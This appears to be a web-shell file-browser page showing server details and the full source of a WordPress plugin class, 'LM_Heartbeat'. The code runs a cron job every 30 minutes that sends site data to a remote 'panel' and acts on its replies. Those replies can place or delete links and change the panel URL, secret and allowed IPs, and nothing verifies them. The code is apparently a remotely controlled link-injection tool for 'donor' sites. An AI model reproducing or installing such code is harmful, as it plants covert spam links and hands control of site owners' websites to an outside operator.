HEX
Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/q.autos58.cn/wp-content/plugins/link-manager/includes/class-lm-heartbeat.php
<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

class LM_Heartbeat {

    /** @var string */
    private $cron_hook = 'lm_heartbeat_event';

    /** @var int Interval in seconds (30 minutes). */
    private $interval = 1800;

    public function __construct() {
        add_filter( 'cron_schedules', array( $this, 'add_cron_schedule' ) );
        add_action( $this->cron_hook, array( $this, 'send_heartbeat' ) );
    }

    /**
     * Register custom cron interval.
     *
     * @param array $schedules
     * @return array
     */
    public function add_cron_schedule( $schedules ) {
        $schedules['lm_heartbeat_interval'] = array(
            'interval' => $this->interval,
            'display'  => 'Every 30 minutes (LinkManager)',
        );
        return $schedules;
    }

    /**
     * Schedule the heartbeat cron event if not already scheduled.
     */
    public function schedule() {
        if ( ! wp_next_scheduled( $this->cron_hook ) ) {
            wp_schedule_event( time(), 'lm_heartbeat_interval', $this->cron_hook );
        }
    }

    /**
     * Unschedule the heartbeat cron event.
     */
    public function unschedule() {
        $timestamp = wp_next_scheduled( $this->cron_hook );
        if ( $timestamp ) {
            wp_unschedule_event( $timestamp, $this->cron_hook );
        }
    }

    /**
     * Send heartbeat to the panel.
     */
    public function send_heartbeat() {
        $panel_url = get_option( 'lm_panel_url', '' );
        if ( empty( $panel_url ) ) {
            return;
        }

        $secret = get_option( 'lm_hmac_secret', '' );
        $links  = get_option( 'lm_active_links', array() );
        $theme  = wp_get_theme();

        $body = wp_json_encode( array(
            'site_url'           => get_site_url(),
            'site_token'         => get_option( 'lm_site_token', '' ),
            'wp_version'         => get_bloginfo( 'version' ),
            'php_version'        => PHP_VERSION,
            'plugin_version'     => LM_VERSION,
            'active_links_count' => count( $links ),
            'themes'             => $theme->get( 'Name' ),
            'disk_free_space'    => function_exists( 'disk_free_space' ) ? disk_free_space( ABSPATH ) : null,
        ) );

        $headers = array(
            'Content-Type' => 'application/json',
        );

        if ( ! empty( $secret ) ) {
            $headers['X-LM-Signature'] = hash_hmac( 'sha256', $body, $secret );
        }

        $response = wp_remote_post( trailingslashit( $panel_url ) . 'api/donors/heartbeat', array(
            'headers' => $headers,
            'body'    => $body,
            'timeout' => 15,
        ) );

        if ( is_wp_error( $response ) ) {
            return false;
        }

        update_option( 'lm_last_heartbeat', time() );

        $response_body = json_decode( wp_remote_retrieve_body( $response ), true );
        if ( ! is_array( $response_body ) ) {
            return true;
        }

        if ( ! empty( $response_body['commands'] ) && is_array( $response_body['commands'] ) ) {
            $this->process_commands( $response_body['commands'] );
        }

        return true;
    }

    /**
     * Process commands received from the panel.
     *
     * @param array $commands
     */
    private function process_commands( $commands ) {
        foreach ( $commands as $command ) {
            if ( ! isset( $command['action'] ) ) {
                continue;
            }

            switch ( $command['action'] ) {
                case 'place_link':
                    $this->cmd_place_link( $command );
                    break;

                case 'delete_link':
                    $this->cmd_delete_link( $command );
                    break;

                case 'configure':
                    $this->cmd_configure( $command );
                    break;
            }
        }
    }

    /**
     * Place a link from a heartbeat command.
     *
     * @param array $command
     */
    private function cmd_place_link( $command ) {
        if ( empty( $command['link_id'] ) || empty( $command['url'] ) ) {
            return;
        }

        $links = get_option( 'lm_active_links', array() );

        $links[ $command['link_id'] ] = array(
            'url'         => sanitize_url( $command['url'] ),
            'anchor_text' => sanitize_text_field( $command['anchor_text'] ?? '' ),
            'position'    => sanitize_text_field( $command['position'] ?? 'footer' ),
            'rel'         => sanitize_text_field( $command['rel'] ?? 'nofollow' ),
            'project_id'  => sanitize_text_field( $command['project_id'] ?? '' ),
            'link_id'     => sanitize_text_field( $command['link_id'] ),
            'placed_at'   => time(),
        );

        update_option( 'lm_active_links', $links );
    }

    /**
     * Delete a link from a heartbeat command.
     *
     * @param array $command
     */
    private function cmd_delete_link( $command ) {
        if ( empty( $command['link_id'] ) ) {
            return;
        }

        $links = get_option( 'lm_active_links', array() );
        unset( $links[ $command['link_id'] ] );
        update_option( 'lm_active_links', $links );
    }

    /**
     * Update configuration from a heartbeat command.
     *
     * @param array $command
     */
    private function cmd_configure( $command ) {
        $fields = array(
            'panel_url'   => 'lm_panel_url',
            'hmac_secret' => 'lm_hmac_secret',
            'allowed_ips' => 'lm_allowed_ips',
        );

        foreach ( $fields as $param => $option ) {
            if ( isset( $command[ $param ] ) ) {
                update_option( $option, sanitize_text_field( $command[ $param ] ) );
            }
        }
    }
}